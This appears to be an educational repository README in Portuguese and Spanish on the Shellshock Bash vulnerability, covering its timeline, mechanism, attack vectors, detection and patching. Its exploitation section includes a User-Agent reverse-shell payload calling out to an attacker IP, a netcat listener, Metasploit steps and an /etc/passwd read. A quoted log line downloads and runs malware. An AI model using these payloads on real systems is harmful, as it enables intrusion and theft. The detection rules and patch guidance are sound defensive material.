
____ _ _ _____ _ _ ____ _ _ ___ ____ _ __
/ ___|| | | | ____| | | | / ___|| | | |/ _ \ / ___| |/ /
\___ \| |_| | _| | | | | \___ \| |_| | | | | | | ' /
___) | _ | |___| |___| |___ ___) | _ | |_| | |___| . \
|____/|_| |_|_____|_____|_____|____/|_| |_|\___/ \____|_|\_\
Execução Remota de Código via Injeção de Variáveis de Ambiente do Bash
"Uma falha que esteve oculta no Bash por décadas e abalou os alicerces da internet em menos de 24 horas."
Shellshock (também conhecido como Bashdoor) é uma família de vulnerabilidades críticas no interpretador de comandos GNU Bash que permite a um atacante remoto executar comandos arbitrários no sistema alvo.
O erro fundamental: o Bash não interrompia o processamento de uma variável de ambiente ao finalizar a definição de uma função. Qualquer código concatenado depois de () { :; }; era executado automaticamente.
Variable Env → Definición de función → [AQUÍ EJECUTA CÓDIGO EXTRA] ← BUG
Como servidores web (CGI/Apache), serviços SSH e clientes DHCP convertem cabeçalhos ou parâmetros em variáveis de ambiente do Bash, a superfície de ataque era massiva.
12 Sep 2014 ──── Stéphane Chazelas descubre el bug y lo reporta a Chet Ramey (mantenedor de Bash)
El bug existía en Bash desde hacía más de 20 años.
24 Sep 2014 ──── Divulgación pública + publicación del parche (CVE-2014-6271)
Horas después: botnets activas escaneando internet masivamente.
25-30 Sep 2014 ── Descubiertas vulnerabilidades relacionadas:
CVE-2014-6277, CVE-2014-6278, CVE-2014-7169,
CVE-2014-7186, CVE-2014-7187
Oct 2014 ──────── Millones de ataques registrados. Comparado en severidad con Heartbleed.
Quando o Bash importa uma função a partir de uma variável de ambiente, ele lê até o fechamento } da função. Em versões vulneráveis, continuava processando o código posterior em vez de parar.
# Variable de entorno maliciosa:
SHELLSHOCK='() { :; }; /bin/cat /etc/passwd'
# Bash vulnerable al inicializarse:
# 1. Lee la definición de función → OK
# 2. Encuentra }; → debería parar
# 3. CONTINÚA → ejecuta /bin/cat /etc/passwd ← BUG
Atacante Servidor Apache (CGI) Bash (vulnerable)
│ │ │
│ HTTP Request │ │
│ User-Agent: () { :;}; cmd │ │
│──────────────────────────────▶│ │
│ │ Convierte headers a env vars │
│ │ HTTP_USER_AGENT=() { :;}; cmd │
│───────────────────────────────▶│ │
│ │ │ Ejecuta cmd
│ │ │ como www-data
│◀──────────────────────────────│◀───────────────────────────────│
│ Respuesta + output del cmd │ │
env x='() { :;}; echo VULNERABLE' bash -c "echo this is a test"
Resultado em sistema VULNERÁVEL:
VULNERABLE
this is a test
Resultado em sistema CORRIGIDO:
this is a test
(ou um erro de sintaxe — nunca imprime "VULNERABLE")
Servidores web que usam scripts .cgi convertem os cabeçalhos HTTP em variáveis de ambiente do Bash.
Headers afectados: User-Agent, Referer, Cookie, X-Forwarded-For, y cualquier header custom
# Si el servidor tiene ForceCommand configurado, un atacante con clave válida puede bypassearlo
ssh user@target '() { :;}; /bin/bash'
Servidores DHCP maliciosos podem injetar variáveis de ambiente em clientes que usam Bash para processar a resposta DHCP.
# Cualquier proceso que herede variables de entorno y ejecute Bash
env VAR='() { :;}; comando_malicioso' bash -c "script_legítimo"
nc -lvnp 4444
# Payload que se inyecta en el User-Agent
() { :;}; /bin/bash -i >& /dev/tcp/IP_ATACANTE/4444 0>&1
curl -H "User-Agent: () { :;}; /bin/bash -i >& /dev/tcp/192.168.1.10/4444 0>&1" \
http://sitio-vulnerable.com/cgi-bin/test.cgi
Connection received from 10.10.10.50
bash: no job control in this shell
sh-4.1$ id
uid=48(apache) gid=48(apache) groups=48(apache)
use exploit/multi/http/apache_mod_cgi_bash_env_exec
set RHOSTS <target>
set TARGETURI /cgi-bin/test.cgi
set LHOST <your_ip>
run
# Buscar el patrón característico en access.log
grep -E "\(\)\s*\{" /var/log/apache2/access.log
# Ejemplo de log malicioso:
# "() { :;}; wget http://malware.com/bot -O /tmp/x && chmod +x /tmp/x && /tmp/x"
# Procesos hijos de www-data/apache que no deberían existir
ps aux | grep www-data | grep -v grep
netstat -antup | grep ESTABLISHED
- Novos arquivos executáveis em /tmp, /var/tmp, /dev/shm
- Conexões de saída do servidor web para IPs desconhecidos
- Modificação de /etc/crontab ou /etc/passwd
- Processos bash rodando como www-data sem terminal
# Debian / Ubuntu
sudo apt-get update && sudo apt-get install --only-upgrade bash
# RHEL / CentOS / Fedora
sudo yum update bash
# Verificar versión parcheada (debe mostrar "patches")
bash --version
# GNU bash, version 4.3.30(1)-release → VULNERABLE
# GNU bash, version 4.3.33(1)-release → PARCHEADO (varía por distro)
# Debe devolver solo "this is a test" — NUNCA "VULNERABLE"
env x='() { :;}; echo VULNERABLE' bash -c "echo this is a test"
# 1. Deshabilitar CGI si no es necesario
a2dismod cgi
# 2. Regla WAF para bloquear el patrón
# En ModSecurity:
SecRule REQUEST_HEADERS "@rx \(\)\s*\{" "id:1001,phase:1,deny,msg:'Shellshock Attempt'"
# 3. Monitoreo continuo de logs
tail -f /var/log/apache2/access.log | grep -E "\(\)\s*\{"
Este repositório destina-se exclusivamente a fins educacionais, pesquisa em segurança cibernética e auditorias de segurança autorizadas. Todas as informações aqui apresentadas são de domínio público. Realizar testes contra sistemas sem autorização explícita é ilegal sob as leis da maioria das jurisdições. O autor não se responsabiliza pelo uso indevido destas informações.
Descoberto por Stéphane Chazelas · Publicado em 24 de setembro de 2014
CVSS Score: 10.0 (Critical) → Posteriormente ajustado a 9.8 en CVSSv3
| Produto | Versões Vulneráveis | Status |
|---|
| GNU Bash | 1.0.3 – 4.3 | Corrigido |
| Linux (Debian/Ubuntu/CentOS/RHEL) | Versões anteriores a set/2014 | Corrigido |
| Apple macOS / OS X | 10.10 e anteriores | Corrigido (Security Update 2014-005) |
| Dispositivos IoT com Bash embarcado | Múltiplos | Varia conforme o fabricante |
| Servidores web com CGI sobre Apache | Qualquer versão com Bash vulnerável | Corrigido |